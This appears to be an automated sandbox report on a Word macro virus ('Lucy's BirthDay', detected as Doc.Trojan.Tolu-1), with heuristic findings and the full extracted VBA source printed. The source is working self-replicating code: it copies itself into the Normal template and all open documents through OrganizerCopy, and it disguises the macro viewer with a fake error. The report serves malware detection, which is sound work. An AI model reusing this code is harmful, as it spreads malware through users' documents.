Malware Insights
The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen, AutoClose, AutoExec, and ToolsMacro. The AutoExec subroutine contains a conditional execution based on the day of the month, displaying a fake message about a sister's birthday and scheduling itself to run again. The AutoOpen, AutoNew, and AutoClose subroutines all call AutoOpen, which attempts to copy a macro named 'Lucy' from the active document to the Normal template and then to all open documents. This suggests the macro is designed to spread and potentially execute further malicious actions.
Heuristics 6
-
ClamAV: Doc.Trojan.Tolu-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tolu-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.OrganizerCopy Source:=orig, Destination:=dest, _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1300 bytes |
SHA-256: 7b22ccd4663fae40f08b6f7ebbc14174134c23ea6130b2c1cfec7fd50460f915 |
|||
|
Detection
ClamAV:
Doc.Trojan.Tolu-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Lucy"
Sub AutoExec()
If Day(Date) = 8 Then
Set Luz = Assistant.NewBalloon
With Luz
.Heading = "- HackerNet say's -"
.Text = "Today is the day of my sister's birthday don't forget ..."
.Animation = msoAnimationGetAttentionMajor
.Show
End With
Application.OnTime When:=Now + TimeValue("00:03:00"), Name:="AutoExec"
End If
End Sub
Sub AutoOpen()
With Application
orig = .ActiveDocument.FullName
dest = .NormalTemplate.FullName
On Error Resume Next
.OrganizerCopy Source:=orig, Destination:=dest, _
Name:="Lucy", Object:=wdOrganizerObjectProjectItems
For I = 1 To .Documents.Count
fls = .Documents.Item(I).FullName
On Error Resume Next
.OrganizerCopy Source:=dest, Destination:=fls, _
Name:="Lucy", Object:=wdOrganizerObjectProjectItems
Next I
End With
End Sub
Sub AutoNew()
AutoOpen
End Sub
Sub AutoClose()
AutoOpen
End Sub
Sub ToolsMacro()
x = MsgBox("Can not find application", vbCritical)
End Sub
Sub ViewVBCode()
ToolsMacro
End Sub
' VirusName = Lucy's BirthDay
' I'm HackerNet.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.